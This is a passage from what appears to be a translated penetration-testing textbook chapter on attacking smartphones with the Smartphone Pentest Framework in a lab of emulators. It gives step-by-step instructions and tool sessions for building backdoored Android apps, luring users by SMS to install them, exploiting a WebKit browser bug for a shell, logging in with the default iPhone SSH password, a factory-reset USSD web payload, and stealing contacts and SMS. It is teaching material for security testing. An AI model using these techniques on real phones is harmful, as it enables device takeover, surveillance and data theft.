快速响应（QR）码 是最初为汽车制造业开发的矩阵条形码。二维码可以嵌入网址，将数据发送到移动设备上的应用程序等，用户应当意识到他们扫描的内容可能会打开恶意网站。商店窗户上的二维码不一定指向商店的官网，而且恶意二维码攻击已经在现实中发生过。例如，一位著名的黑客活动者将他的 Twitter 头像改为二维码，促使许多好奇的用户使用手机扫描它。二维码将他们引导到一个恶意网页，试图利用 WebKit 漏洞，WebKit 是 iOS 和 Android 都使用的网页渲染引擎。

智能手机渗透测试框架

够了，话不多说；让我们将注意力转向如何利用 SPF 实际攻击移动设备。SPF 仍在积极开发中，其功能集变化迅速。当你完成这一部分内容时，许多菜单可能会提供额外的选项。在第一章中，你下载了本书使用的 SPF 版本，但要获取 SPF 的主分支和最新版本，请访问 github.com/georgiaw/Smartphone-Pentest-Framework.git/。

设置 SPF

如果你按照第一章中的说明进行操作，SPF 应该已经设置完毕并可以运行。因为 SPF 使用 Kali 内置的 Web 服务器来交付某些 payload，请确保 Apache 服务器正在运行，如下所示。

root@kali:~/Smartphone-Pentest-Framework/frameworkconsole# service apache2 start

此外，SPF 会将信息记录在 MySQL 或 PostgreSQL 数据库中。确保 MySQL 数据库已启动，如下所示。

root@kali:~/Smartphone-Pentest-Framework/frameworkconsole# service mysql start

最后一步是编辑我们的 SPF 配置文件/root/Smartphone-Pentest-Framework/frameworkconsole/config，以匹配我们的环境。默认的配置文件在示例 20-1 中显示。

示例 20-1. SPF 配置文件

root@kali:~/Smartphone-Pentest-Framework/frameworkconsole# cat config
#SMARTPHONE PENTEST FRAMEWORK CONFIG FILE
#ROOT DIRECTORY FOR THE WEBSERVER THAT WILL HOST OUR FILES
WEBSERVER = /var/www
#IPADDRESS FOR WEBSERVER (webserver needs to be listening on this address)
IPADDRESS = 192.168.20.9 ❶
#IP ADDRESS TO LISTEN ON FOR SHELLS
SHELLIPADDRESS = 192.168.20.9 ❷
#IP ADDRESS OF SQLSERVER 127.0.0.1 IF LOCALHOST
MYSQLSERVER = 127.0.0.1
--*snip*--
#NMAP FOR ANDROID LOCATION
ANDROIDNMAPLOC = /root/Smartphone-Pentest-Framework/nmap-5.61TEST4
#EXPLOITS LOCATION
EXPLOITSLOC = /root/Smartphone-Pentest-Framework/exploits

如果你的 Kali IP 地址是 192.168.20.9，并且你将 SPF 安装在/root/Smartphone-Pentest-Framework/中，默认配置应该满足你的需求。否则，修改IPADDRESS ❶和SHELLIPADDRESS ❷为你的 Kali 机器的 IP 地址。

现在通过切换目录到/root/Smartphone-Pentest-Framework/frameworkconsole/并运行./framework.py来启动 SPF。你应该看到一个类似于示例 20-2 的菜单。

示例 20-2. 启动 SPF

root@kali:~/Smartphone-Pentest-Framework/frameworkconsole# ./framework.py
################################################
#                                              #
# Welcome to the Smartphone Pentest Framework! #
#                   v0.2.6                     #
#         Georgia Weidman/Bulb Security        #
#                                              #
################################################

Select An Option from the Menu:

     1.)  Attach Framework to a Deployed Agent/Create Agent
     2.)  Send Commands to an Agent
     3.)  View Information Gathered
     4.)  Attach Framework to a Mobile Modem
     5.)  Run a remote attack
     6.)  Run a social engineering or client side attack
     7.)  Clear/Create Database
     8.)  Use Metasploit
     9.)  Compile code to run on mobile devices
    10.)  Install Stuff
    11.)  Use Drozer
     0.)  Exit
spf>

本章剩余部分将探索 SPF 的各种选项。现在，让我们进行一个快速测试，确保 SPF 能够与数据库通信。SPF 安装程序为 SPF 设置了一个空的数据库，但你可以通过运行选项7.) 清除/创建 数据库来清除所有数据并重新开始，如下所示。此命令将清除 SPF 数据库表，并在它们不存在时创建它们。

spf> **7**
This will destroy all your data. Are you sure you want to? (y/N)? **y**

Android 模拟器

在第一章中，我们创建了三个 Android 模拟器。虽然我们的一些攻击不依赖于 Android 版本，但我们将查看一些适用于模拟器的客户端攻击和权限提升攻击，这些攻击在针对特定较旧版本的模拟器时效果较好。由于它们只是模拟器，你将无法成功测试所有已知的 Android 漏洞。

附加移动调制解调器

由于并非所有移动攻击向量都使用 TCP/IP 网络，SPF 通过渗透测试者的设备进行攻击。截至目前，SPF 可以使用安装了 SPF 应用的 Android 手机的移动调制解调器，或带有 SIM 卡的 USB 调制解调器来发送短信。此外，当使用具有 NFC 功能的 Android 手机时，SPF 可以通过 Android Beam 和 SPF Android 应用程序交付 payload。

构建 Android 应用

要从 SPF 构建 Android 应用程序，请选择选项4.) 将框架附加到移动调制解调器，如示例 20-3 所示。

示例 20-3. 构建 SPF 应用程序

spf> **4**

Choose a type of modem to attach to:
    1.) Search for attached modem
    2.) Attach to a smartphone based app
    3.) Generate smartphone based app
    4.) Copy App to Webserver
    5.) Install App via ADB
spf> **3**❶

Choose a type of control app to generate:
    1.) Android App (Android 1.6)
    2.) Android App with NFC (Android 4.0 and NFC enabled device)
spf> **1**❷
Phone number of agent: **15555215556**❸
Control key for the agent: **KEYKEY1**❹
Webserver control path for agent: **/androidagent1**❺

Control Number:15555215556
Control Key:KEYKEY1
ControlPath:/bookspf
Is this correct?(y/n)**y**
--*snip*--
-post-build:

debug:

BUILD SUCCESSFUL
Total time: 10 seconds

接下来选择选项3.) 生成基于智能手机的应用 ❶。SPF 可以制作两种类型的应用程序：一种使用 NFC，另一种不使用。由于我们的 Android 模拟器不支持 NFC 功能，选择1.) Android 应用（Android 1.6） ❷。

系统将要求你输入有关 SPF 代理的信息，以便通过 SPF 应用程序进行控制。SPF 代理允许我们控制被感染的移动设备。我们将在本章稍后讨论如何生成和部署 SPF 代理；目前，只需输入你的 Android 2.2 模拟器的电话号码❸，一个七字符的密钥❹，以及 Web 服务器上的路径，从/开始❺。SPF 将使用 Android SDK 来构建 SPF 应用程序。

部署应用程序

现在，将应用程序部署到我们的 Android 4.3 模拟器上。这个模拟器将模拟渗透测试人员控制的设备，另外两个模拟器将是我们的目标。如果你在 Kali Linux 上运行模拟器，或者使用可以通过 USB 连接到 Kali 虚拟机的真实 Android 设备，你可以使用 Android 调试桥（ADB）来安装应用程序，如示例 20-4 所示。（首先，从主菜单选择选项4.) 将框架附加到移动调制解调器。）

示例 20-4. 安装 SPF 应用程序

spf> **4**

Choose a type of modem to attach to:
    1.) Search for attached modem
    2.) Attach to a smartphone based app
    3.) Generate smartphone based app
    4.) Copy App to Webserver
    5.) Install App via ADB
spf> **5**
* daemon not running. starting it now on port 5037 *
* daemon started successfully *
List of devices attached
emulator-5554     device
emulator-5556     device
emulator-5558     device
Choose a device to install on: **emulator-5554**❶
Which App?

    1.)Framework Android App with NFC

    2.)Framework Android App without NFC

spf> **2**❷
1463 KB/s (46775 bytes in 0.031s)
    pkg: /data/local/tmp/FrameworkAndroidApp.apk
Success

在选择要附加的调制解调器类型菜单中，选择选项5，让 ADB 搜索所有已连接的设备。接下来，告诉 SPF 要在哪个模拟器或设备上安装 SPF；在这个例子中，我选择了emulator-5554❶，这是一个 Android 4.3 模拟器，电话号码是 1-555-521-5554。最后，告诉 SPF 安装不带 NFC 的 Android 应用程序（选项2）❷。

如果你在主机系统上使用模拟器，Kali 中的 ADB 将无法连接到它们。相反，为了部署应用程序，从主菜单选择选项4.) 将框架附加到移动调制解调器，然后选择选项4.) 将应用程序复制到 Web 服务器，如示例 20-5 所示。

示例 20-5. 复制应用程序到 Web 服务器

spf> **4**

Choose a type of modem to attach to:
    1.) Search for attached modem
    2.) Attach to a smartphone based app
    3.) Generate smartphone based app
    4.) Copy App to Webserver
    5.) Install App via ADB
spf> **4**
Which App?
    1.)Framework Android App with NFC
    2.)Framework Android App without NFC
spf> **2**❶
Hosting Path: **/bookspf2**❷
Filename: **/app.apk**❸

这将允许我们将应用程序复制到 Kali 的 Web 服务器上，在那里我们可以下载并安装到模拟器中。告诉 SPF 复制不带 NFC 的框架 Android 应用程序❶，然后告诉它将应用程序放到 Web 服务器上的位置❷。最后，告诉 SPF 要下载的应用程序的文件名❸。通过在移动浏览器中打开 URL 192.168.20.9/bookspf2/app.apk，从你的 Android 4.3 模拟器下载应用程序。

附加 SPF 服务器和应用程序

现在我们需要附加 SPF 服务器和 SPF 应用程序，如示例 20-6 所示。（再次，从主菜单开始选择选项4。）

示例 20-6. 附加到 SPF 应用程序

spf> **4**

Choose a type of modem to attach to:
    1.) Search for attached modem
    2.) Attach to a smartphone based app
    3.) Generate smartphone based app
    4.) Copy App to Webserver
    5.) Install App via ADB
spf> **2**❶

Connect to a smartphone management app. You will need to supply the phone number, the control key, and the URL path.

Phone Number: **15555215554**❷
Control Key: **KEYKEY1**❸
App URL Path: **/bookapp**❹

Phone Number: 15555215554
Control Key: KEYKEY1
URL Path: /bookapp
Is this correct?(y/N): **y**

选择2.) 附加到智能手机应用程序❶。接下来，提供运行 SPF 应用程序的模拟器的电话号码❷，一个七字符的密钥❸，以及应用程序将检查的 URL❹。（密钥不需要与我们在构建应用程序时为代理使用的密钥相同。并且，URL 应该与构建应用程序时为代理使用的 URL 不同。）一旦确认这些信息无误，SPF 似乎会挂起。我们需要附加应用程序。

图 20-1. SPF 应用程序

要连接该应用程序，首先在 Android 模拟器上打开它。主屏幕会要求输入 SPF 服务器的 IP 地址、要检查的 URL 以及七位字符的密钥。使用与前一步相同的值（除了 IP 地址应为 SPF 服务器的 IP 地址，而不是电话号码），如图 20-1 所示。

填写完信息后，点击应用程序上的附加。现在，直到你点击解除连接，你就可以通过 SPF 控制手机了。现在返回 Kali 上的 SPF。当应用程序附加后，你会被带回到 SPF 的主菜单，这意味着我们准备开始运行移动攻击了。

远程攻击

在移动设备的历史上，曾经有过对移动调制解调器和其他面向外部的接口的攻击。例如，研究人员发现了 Android 手机和 iPhone 的移动调制解调器驱动程序中的漏洞，攻击者可以通过发送 SMS 短信使手机崩溃、使其脱离移动网络，甚至获得手机的命令执行权限。与传统计算机类似，随着移动设备的安全状况不断改善，可用的远程攻击数量将减少。话虽如此，用户在手机上安装的软件越多，潜在的漏洞服务监听网络端口的机会就越大，正如你将在接下来的章节中了解到的那样。

默认 iPhone SSH 登录

一次远程攻击可能是第一个 iPhone 僵尸网络的原因。在越狱的 iPhone 上，用户可以安装 SSH 以远程登录到他们的 iPhone 终端。默认情况下，SSH 在所有设备上都有 root 密码 alpine。当然，用户应该更改这个值，但许多越狱 iPhone 的用户并没有这么做。尽管这个问题在多年前就已经曝光，但与许多默认密码问题一样，它依然时常出现。

要测试越狱 iPhone 上的默认 SSH 密码，我们可以选择 5.) 运行远程攻击，或者使用我们的老朋友 Metasploit。正如 SET 允许我们在第十一章中使用 Metasploit 创建客户端攻击一样，我们可以使用 SPF 与 Msfcli 接口，以自动运行来自 Metasploit 的移动模块。

不幸的是，截止到目前为止，Metasploit 中针对移动设备的模块并不多，但有一个模块可以测试是否使用了默认的 iPhone 密码。如示例 20-7 中所示，从 SPF 主菜单中选择 8.) 使用 Metasploit，然后选择 1.) 运行 iPhone Metasploit 模块。接下来，选择 1.) Cydia 默认 SSH 密码。SPF 会询问你 iPhone 的 IP 地址，以便填写模块中的 RHOST 选项。然后 SPF 会调用 Msfcli，并运行所需的模块。

示例 20-7. Root SSH 默认密码 Metasploit 模块

spf> **8**
Runs smartphonecentric Metasploit modules for you.

Select An Option from the Menu:
    1.) Run iPhone Metasploit Modules
    2.) Create Android Meterpreter
    3.) Setup Metasploit Listener
spf> **1**

Select An Exploit:
    1.) Cydia Default SSH Password
    2.) Email LibTiff iOS 1
    3.) MobileSafari LibTiff iOS 1
spf> **1**

Logs in with alpine on a jailbroken iPhone with SSH enabled.
iPhone IP address: **192.168.20.13**
[*] Initializing modules...
RHOST => 192.168.20.13
[*] 192.168.20.13:22 - Attempt to login as 'root' with password 'alpine'
[+] 192.168.20.13:22 - Login Successful with 'root:alpine'
[*] Found shell.
[*] Command shell session 1 opened (192.168.20.9:39177 -> 192.168.20.13:22) at 2015-03-21 14:02:44 -0400

**ls**
Documents
Library
Media
--*snip*--

如果你手边有一台越狱的 iPhone，可以测试此模块。如果登录成功，Metasploit 将为你提供一个 root shell。完成后，输入exit以关闭 Shell 并返回 SPF。当然，如果你的 iPhone 上启用了 SSH，务必立即将密码从alpine更改。

客户端攻击

在移动设备上，客户端攻击比远程攻击更为普遍。就像我们在第十章研究的攻击一样，我们的客户端攻击并不限于移动浏览器。我们可以攻击设备上的其他默认应用，以及任何可能存在漏洞的第三方应用。

客户端 Shell

让我们来看一个攻击移动浏览器中 WebKit 包以获取 Android 设备 Shell 的例子。（这类似于在第十章中讨论的浏览器攻击。）我们将在诱使用户打开恶意页面后攻击移动浏览器中的一个漏洞。执行的 Shell 代码将是 Android 的，而不是 Windows，但整体攻击动态是相同的，如示例 20-8 所示。

示例 20-8. Android 浏览器攻击

spf> **6**
Choose a social engineering or client side attack to launch:
    1.) Direct Download Agent
    2.) Client Side Shell
    3.) USSD Webpage Attack (Safe)
    4 ) USSD Webpage Attack (Malicious)

spf> **2**❶
Select a Client Side Attack to Run

    1) CVE=2010-1759 Webkit Vuln Android

spf> **1**❷
Hosting Path: **/spfbook2**❸
Filename: **/book.html**❹

Delivery Method(SMS or NFC): **SMS**❺
Phone Number to Attack: **15555215558**
Custom text(y/N)? **N**

从主 SPF 菜单中选择6.) 进行社交工程或客户端攻击。现在选择2.) 客户端 Shell ❶ 然后选择利用选项1.) CVE=2010-1759 Webkit 漏洞 Android ❷。系统会提示你输入网页服务器的路径 ❸，并要求输入文件名 ❹。SPF 然后会生成一个恶意页面来攻击 CVE-2010-1759 WebKit 漏洞。

然后，系统会询问你希望如何传送恶意页面的链接 ❺。你可以选择使用 NFC 或 SMS。由于我们的模拟器不支持 NFC，我们选择了 SMS。当系统提示输入攻击目标的号码时，向你的 Android 2.1 模拟器发送短信。最后，当询问是否使用自定义文本发送短信（而不是默认的“这是一个酷页面：”）时，可以将默认文本更改为更具创意的内容，或者不更改。

我们只有一个移动调制解调器连接到 SPF，因此 SPF 会自动使用它发送短信。SPF 会联系 Android 4.3 模拟器上的 SPF 应用，并指示它将短信发送到 Android 2.1 模拟器。Android 2.1 模拟器接收到的短信将来自 Android 4.3 模拟器。（一些移动设备，如 iPhone，存在实现短信功能时的缺陷，使得攻击者能够伪造发送号码，造成此攻击看起来像是来自任何他们想要的号码。）收到的短信如下所示。

15555215554: This is a cool page: http://192.168.20.9/spfbook2/book.html

与第十章中讨论的客户端攻击类似，这种攻击依赖于用户在易受攻击的移动浏览器中打开链接。我们的 Android 2.1 模拟器浏览器易受到此攻击，当你点击链接以打开移动浏览器时，浏览器将在大约 30 秒内尝试打开页面，期间攻击正在进行，随后崩溃。此时，你应该已经在 SPF 中获得了一个 shell。SPF 会在 shell 打开时自动运行 Android 相当于 whoami 的命令。

由于我们攻击的是浏览器，因此我们是以 app_2（模拟器中的移动浏览器）的身份运行。像往常一样，shell 拥有被利用应用的所有权限，这意味着你可以运行浏览器可用的任何命令。例如，输入 /system/bin/ls，如示例 20-9 所示，使用 ls 列出当前目录的内容。完成后，输入 exit 以返回 SPF。

示例 20-9. Android shell

Connected: Try exit to quit
uid=10002(app_2) gid=10002(app_2) groups=1015(sdcard_rw),3003(inet)
**/system/bin/ls**
sqlite_stmt_journals
--*snip*--
**exit**

注意

Android 是一个分支的 Linux 内核，因此一旦我们获得了 shell，我们应该可以开始使用 Android，对吧？不幸的是，许多 Linux 工具如 cp 并不在其中。此外，用户结构也略有不同，每个应用都有自己的 UID。然而，深入了解 Android 超出了本章的范围。

我们将在本章稍后探讨另一种控制被利用的 Android 设备的方法，使用植入后门的应用调用 Android API。但首先，让我们来看一下另一种客户端攻击。

USSD 远程控制

无结构补充服务数据（USSD） 是一种移动设备与移动网络通信的方式。当你拨打特定的号码时，设备将执行特定的功能。

2012 年底，有报道称一些 Android 设备会自动在拨号器应用中打开它们在网页上发现的号码。当在拨号器中输入 USSD 代码时，相应功能会自动被调用。这听起来像是一个攻击者可以滥用的好功能，用来远程控制设备。

事实证明，攻击者可以将 USSD 代码放在网页中作为要拨打的号码，最终迫使这些易受攻击的设备执行各种有趣的操作。例如，如此处所示，恶意网页中的 tel: 标签告诉 Android 这是一个电话号码。但当 USSD 代码 2673855%23 在拨号器中打开时，设备会执行恢复出厂设置，删除所有用户数据。

<html>
<frameset>
<frame src="tel:*2767*3855%23" />
</frameset>
</html>

注意

漏洞并不在 USSD 代码本身，而是在某些设备实现 tel: 标签的方式上。各种 USSD 标签提供了各种功能。

我们的示例将使用比之前描述的更无害的有效载荷。我们将使设备自动拨打一个代码，以在弹出窗口中显示其唯一标识符，如示例 20-10 所示。

示例 20-10. Android USSD 攻击

spf> **6**
Choose a social engineering or client side attack to launch:
    1.) Direct Download Agent
    2.) Client Side Shell
    3.) USSD Webpage Attack (Safe)
    4 ) USSD Webpage Attack (Malicious)
spf> **3**❶
Hosting Path: **/spfbook2**
Filename: **/book2.html**
Phone Number to Attack: **15555215558**

要在 SPF 中运行安全的 USSD 示例，选择菜单选项 6，然后选择 3.) USSD 网页攻击（安全） ❶。系统会要求你输入网页服务器的地址、恶意页面的名称和要发送的电话号码。将其发送到你的 Android 2.1 模拟器。

现在在你收到的 Android 2.1 模拟器中的短信页面打开。此次，不是浏览器崩溃，而是拨号应用打开，并且弹出了通知，如图 20-2 所示。

图 20-2. USSD 自动拨号

结果表明，我们的模拟器没有唯一标识符，所以号码为空。虽然这个示例对设备或数据没有害，但如果其他 USSD 代码在拨号器中打开，可能会带来风险。

注意

当然，这个漏洞以及我们在上一节中利用的 WebKit 问题，自从被发现以来已经修复。Android 在安全更新方面有着复杂的关系。问题在于任何人都可以制造 Android 设备，并且实现自己的 Android 操作系统。当 Google 发布包含一系列补丁的新版本时，每个原始设备制造商（OEM）都需要将这些更改移植到其 Android 版本中，运营商也需要将更新推送到他们的设备上。然而，更新并不是一致地交付的，这意味着根据型号和运营商的不同，可能有数百万台未修复的设备在使用。

现在让我们把注意力转向一个可能永远不会被修复的漏洞：恶意应用。

恶意应用

在本书中，我们间歇性地研究了恶意程序。我们在第四章中使用 Msfvenom 创建了恶意可执行文件，在第八章中上传了后门到易受攻击的 Web 服务器，在第十一章中查看了通过社会工程攻击诱使用户下载和运行恶意程序，在第十二章中绕过了防病毒程序。

尽管社会工程学和用户通过运行恶意程序破坏安全策略，可能会成为企业安全的长期问题，但移动设备使这个问题变得更加复杂。很难想象有人会给你一台工作用的笔记本电脑，并鼓励你去互联网上下载任何可能有趣、好玩或提高生产力的程序——但这正是移动设备的营销方式。（“购买我们的设备，它有最好的应用。” “下载我们的应用，它们在生产力/娱乐/安全方面是最好的。”）移动防病毒应用通常需要极高的权限，甚至需要设备上的管理功能才能运行，而移动设备管理解决方案通常需要在设备上安装更多的应用程序。

移动用户充斥着下载应用的理由，而移动恶意软件正在上升，其中许多以恶意应用程序的形式出现。如果用户被欺骗安装了恶意应用，攻击者就可以利用 Android 的 API 窃取数据、远程控制，甚至攻击其他设备。

在 Android 安全模型中，应用程序必须请求使用可能被恶意使用的 API 权限，用户必须在安装时接受请求的权限。不幸的是，用户常常会授予各种潜在危险的权限。我们可以利用 Android 权限，在用户安装恶意应用后，控制设备，而无需运行额外的漏洞利用程序。

创建恶意 SPF 代理

SPF 允许我们创建具有各种有趣功能的恶意应用程序。之前我们在渗透测试者控制的设备上使用了 SPF 应用，允许 SPF 使用设备的移动调制解调器及其他功能；我们的目标是欺骗用户将 SPF 代理安装到目标设备上。

截至目前，SPF 代理可以通过 HTTP 检查服务器或通过 SPF 控制的移动调制解调器接收隐藏的 SMS 消息来接收命令。自然地，如果我们的代理看起来像一个有趣和/或值得信赖的应用，我们会更成功。我们可以将代理嵌入到任何合法的应用程序中：SPF 可以将已编译的 APK 文件嵌入代理后门，或者如果我们有应用程序的源代码，我们也可以在其中加入后门。

后门源代码

让我们以后门源代码为例。选择主 SPF 菜单中的 1.) 附加框架到已部署的代理/创建代理。SPF 包括一些我们可以用于示例的应用模板。你还可以使用选项 4 将任何应用的源代码导入到 SPF 中。如果你没有要伪装的应用程序的源代码，你可以使用选项 5 给已编译的 APK 添加后门。你甚至可以利用 2013 年发现的 Android 主密钥漏洞，将已安装在设备上的应用程序替换为带有后门的版本。现在，让我们只使用 SPF 的模板之一，如示例 20-11 所示。

示例 20-11. 构建 Android 代理

spf> **1**

Select An Option from the Menu:
    1.) Attach Framework to a Deployed Agent
    2.) Generate Agent App
    3.) Copy Agent to Web Server
    4.) Import an Agent Template
    5.) Backdoor Android APK with Agent
    6.) Create APK Signing Key

spf> **2**❶
    1.) MapsDemo
    2.) BlankFrontEnd

spf> **1**❷
Phone number of the control modem for the agent: **15555215554**❸
Control key for the agent: **KEYKEY1**❹
Webserver control path for agent: **/androidagent1**❺
Control Number:15555215554
Control Key:KEYKEY1
ControlPath:/androidagent1
Is this correct?(y/n) **y**
--*snip*--

BUILD SUCCESSFUL

选择 2.) 生成代理应用 ❶。我们将使用 Google 随 Android SDK 提供的 MapsDemo 示例模板 ❷ 来演示功能。当系统提示时，输入接收 SMS 命令的电话号码 ❸，SPF 的七位字符密钥 ❹，以及用于 HTTP 命令的检查目录 ❺。对于代理密钥和路径，使用你在创建 SPF 应用时所用的相同值（构建 Android 应用）。使用 Android 4.3 模拟器（SPF 应用）上的电话号码作为控制电话号码。SPF 会在选择的模板中构建 Android 代理。

现在引诱用户下载和安装代理，这个过程类似于我们的客户端攻击，按照示例 20-12 中的步骤进行。

示例 20-12. 引诱用户安装代理

spf> **6**

Choose a social engineering or client side attack to launch:
    1.) Direct Download Agent
    2.) Client Side Shell
    3.) USSD Webpage Attack (Safe)
    4 ) USSD Webpage Attack (Malicious)

spf> **1**❶
This module sends an SMS with a link to directly download and install an Agent
Deliver Android Agent or Android Meterpreter (Agent/meterpreter:) **Agent**❷
Hosting Path: **/spfbook3**❸
Filename: **/maps.apk**
Delivery Method:(SMS or NFC): **SMS**
Phone Number to Attack: **15555215556**
Custom text(y/N)? **N**

在主菜单中选择选项 6，然后选择 1.) 直接下载代理 ❶。系统会询问你是否要发送 Android 代理或 Android Meterpreter（Metasploit 的最新添加）。因为我们正在使用 Android 代理，选择 代理 ❷。像往常一样，你将被提示路径、Web 服务器上的应用名称、攻击向量以及从 ❸ 开始攻击的号码。指示 SPF 发送带有默认文本的短信到 Android 2.2 模拟器。

在 Android 2.2 模拟器上，当短信到达时点击链接。应用程序将被下载。下载完成后，点击安装，接受权限并打开应用。如图 20-3 所示，代理将看起来和感觉像原始应用模板（Google 地图演示），但在后台具有额外功能。

图 20-3. 后门应用

现在将 SPF 附加到已部署的代理。如果向大量号码发送短信广告，谁知道多少用户会安装代理或多快，但代理具有签到功能（参见示例 20-13），将会响应 SPF 的查询以查看其是否已部署。

示例 20-13. 将 SPF 附加到部署的代理

spf> **1**

Select An Option from the Menu:
    1.) Attach Framework to a Deployed Agent
    2.) Generate Agent App
    3.) Copy Agent to Web Server
    4.) Import an Agent Template
    5.) Backdoor Android APK with Agent
    6.) Create APK Signing Key

spf> **1**❶
Attach to a Deployed Agent:

This will set up handlers to control an agent that has already been deployed.

Agent URL Path: **/androidagent1**❷
Agent Control Key: **KEYKEY1**❸
Communication Method(SMS/HTTP): **HTTP**❹

URL Path: /androidagent1
Control Key: KEYKEY1
Communication Method(SMS/HTTP): **HTTP**
Is this correct?(y/N): **y**

在主菜单中选择选项 1，然后选择 1.) 将框架附加到已部署的代理 ❶。系统会询问路径 ❷、密钥 ❸ 和通信方法 ❹。输入创建代理时使用的值。

SPF 将会等待代理响应一分钟，看起来好像挂起了。返回菜单后，你应该已连接到代理。现在从主菜单选择 2.) 发送命令给代理。你将看到数据库中代理的列表；你应该能在列表中看到刚刚附加到 SPF 的代理，如图所示。

spf> **2**
Available Agents:
15555215556

给 APK 加后门

在使用部署的 SPF 代理之前，让我们看看另一种更复杂的创建代理的方法。因为你可能并不总是拥有你想要给其加后门的应用程序的源代码，SPF 可以与预编译的 APK 文件一起工作。包括 Google Play 商店中的任何 APK 都在其范围之内。

要给 APK 加上 SPF 代理后门，在主菜单中选择选项 1，然后选择 5.) 使用代理给 Android APK 加上后门，如示例 20-14 所示。

示例 20-14. 给 APK 加后门

spf> **1**

Select An Option from the Menu:
    1.) Attach Framework to a Deployed Agent
    2.) Generate Agent App
    3.) Copy Agent to Web Server
    4.) Import an Agent Template
    5.) Backdoor Android APK with Agent
    6.) Create APK Signing Key
spf> **5**
APKTool not found! Is it installed? Check your config file
Install Android APKTool(y/N)?
spf> **y**

--2015-12-04 12:28:21--  https://android-apktool.googlecode.com/files/apktool-install-linux-r05-ibot.tar.bz2
--*snip*--
Puts the Android Agent inside an Android App APK. The application runs normally with extra functionality
APK to Backdoor: **/root/Smartphone-Pentest-Framework/APKs/MapsDemo.apk**
I: Baksmaling...
--*snip*--

默认情况下，SPF 不会安装 APKTool 程序，而该程序是解编译 APK 所必需的；它会询问是否安装。输入 y，SPF 将安装 APKTool 并继续。

当提示时，告诉 SPF 对 APK /root/Smartphone-Pentest-Framework/APKs/MapsDemo.apk（先前使用的 Google Maps 演示代码的编译版本）植入后门。SPF 将解编译该 APK，结合 SPF 代理，并重新编译。

要设置代理，SPF 需要知道控制电话号码、控制密钥和控制路径。这些信息与我们在给源代码植入后门时使用的相同，详见示例 20-15。

示例 20-15. 设置选项

Phone number of the control modem for the agent: **15555215554**
Control key for the agent: **KEYKEY1**
Webserver control path for agent: **/androidagent1**
Control Number: 15555215554
Control Key:KEYKEY1
ControlPath:/androidagent1
Is this correct?(y/n) **y**
--*snip*--

在 APKTool 重新编译了带后门的 APK 后，我们需要对其进行签名。在安装时，Android 设备会检查 APK 上的签名。如果 APK 没有签名，它将被拒绝，即使是在模拟器上也是如此。Google Play 应用使用开发者密钥进行签名，该密钥在 Google Play 上注册。

为了在不限制 Google Play 应用的模拟器和设备上运行应用，我们只需使用未在 Google 注册的调试密钥，但应用仍然必须签名。当我们给源代码植入后门时，由于我们使用 Android SDK 编译代码，自动将我们的代码使用默认的 Android 密钥库签名，因此可以跳过这一步。而在此处使用 APKTool 时，我们需要手动重新创建签名。

您将被询问是否使用 Android Master Key 漏洞，该漏洞允许攻击者和渗透测试者欺骗 Android 的签名验证过程，使其认为我们的应用是已经安装的应用的合法更新。换句话说，我们将能够用我们的代码替换合法的应用，Android 系统会将其视为厂商的合法更新。（此验证过程中的缺陷在 Android 4.2 中得到了修复。）要使用 Android Master Key 漏洞，请在提示时输入 y，如下面所示。

注意

为了利用此问题，原始应用及其签名会被复制到我们的带后门的 APK 中。有关如何触发 Master Key 漏洞的详细信息，请参见：http://www.saurik.com/id/17。

Use Android Master Key Vuln?(y/N): **y**
Archive:  /root/Desktop/abcnews.apk
--*snip*--
Inflating: unzipped/META-INF/CERT.RSA

要查看 Android Master Key 漏洞的工作情况，请在运行 Android 4.2 之前版本的设备上安装来自 /root/Smartphone-Pentest-Framework/APKs 的合法版本的 MapsDemo.apk，然后尝试通过 SMS 或 NFC 使用 SPF 安装您刚刚创建的带后门的版本。您应该会被提示替换 MapsDemo.apk，并且即使我们没有访问构建正确签名所需的私钥，签名验证也应成功。

如果目标设备没有受到 Master Key 的影响，或者应用还未安装在目标设备上，你可以直接使用 Kali 上的 Android 密钥库默认密钥来签名该应用。为此，在提示“是否使用 Android Master Key 漏洞”时，输入n，如示例 20-16 所示。

示例 20-16. 签名 APK

Use Android Master Key Vuln?(y/N): **n**
Password for Debug Keystore is android
Enter Passphrase for keystore:
--*snip*--
  signing: resources.arsc

系统会提示你输入调试密钥库的密码。默认情况下，此操作不会使用发布在 Google Play 上的密钥来签名 APK，但对于我们的目的来说已经足够。该应用现在已用调试密钥签名，应该可以在任何不限制只能安装官方 Play Store 应用的设备上安装。请注意，如果渗透测试的范围包括诱使用户从 Google Play 商店下载恶意应用，渗透测试人员完全可以用他们注册的合法 Google Play 密钥来签名该应用。

注意

带有后门的 APK 与我们在后门源代码中创建的代理功能等效，可以通过相同的方式进行部署。当然，部署后我们已经有一个可用的代理可以进行操作，接下来我们将查看在代理部署后，我们可以对设备及其本地网络执行哪些操作。

移动后渗透

现在我们已经进入设备，有几个选项可以选择。我们可以从设备上收集本地信息，如联系人或收到的 SMS 消息，还可以远程控制设备执行一些操作，如拍照。如果我们对权限不满意，可以尝试对设备进行权限提升，获得 root 权限。我们甚至可以利用被攻陷的移动设备攻击网络上的其他设备。（如果设备直接连接到公司网络或使用 VPN 访问网络，这种攻击尤其有趣。）

信息收集

我们将通过获取感染设备上已安装应用程序的列表来进行信息收集示例，如示例 20-17 所示。

示例 20-17. 在代理上运行命令

spf> **2**
View Data Gathered from a Deployed Agent:
Available Agents:
    1.) 15555215556
Select an agent to interact with or 0 to return to the previous menu.
spf> **1**❶
Commands:❷
    1.) Send SMS
    2.) Take Picture
    3.) Get Contacts
    4.) Get SMS Database
    5.) Privilege Escalation
    6.) Download File
    7.) Execute Command
    8.) Upload File
    9.) Ping Sweep
    10.) TCP Listener
    11.) Connect to Listener
    12.) Run Nmap
    13.) Execute Command and Upload Results
    14.) Get Installed Apps List
    15.) Remove Locks (Android < 4.4)
    16.) Upload APK
    17.) Get Wifi IP Address
Select a command to perform or 0 to return to the previous menu
spf> **14**❸
    Gets a list of installed packages(apps) and uploads to a file.
Delivery Method(SMS or HTTP): **HTTP**❹

从主菜单中选择2选项，然后从列表 ❶ 中选择代理。当出现可用代理功能的列表 ❷ 时，选择 14.) 获取已安装应用列表 ❸。SPF 会询问你如何传递命令，我们将使用 HTTP ❹。（回想一下，代理可以通过 HTTP 和 SMS 与外界通信并接收命令。）

输入0以返回到上一个菜单，直到到达主菜单。稍等片刻，然后选择 3.) 查看收集到的信息，如示例 20-18 所示。

示例 20-18. 查看收集到的数据

spf> **3**
View Data Gathered from a Deployed Agent:
Agents or Attacks? **Agents**❶
Available Agents:
    1.) 15555215556
Select an agent to interact with or 0 to return to the previous menu.
spf> **1**❷
Data:
SMS Database:
Contacts:
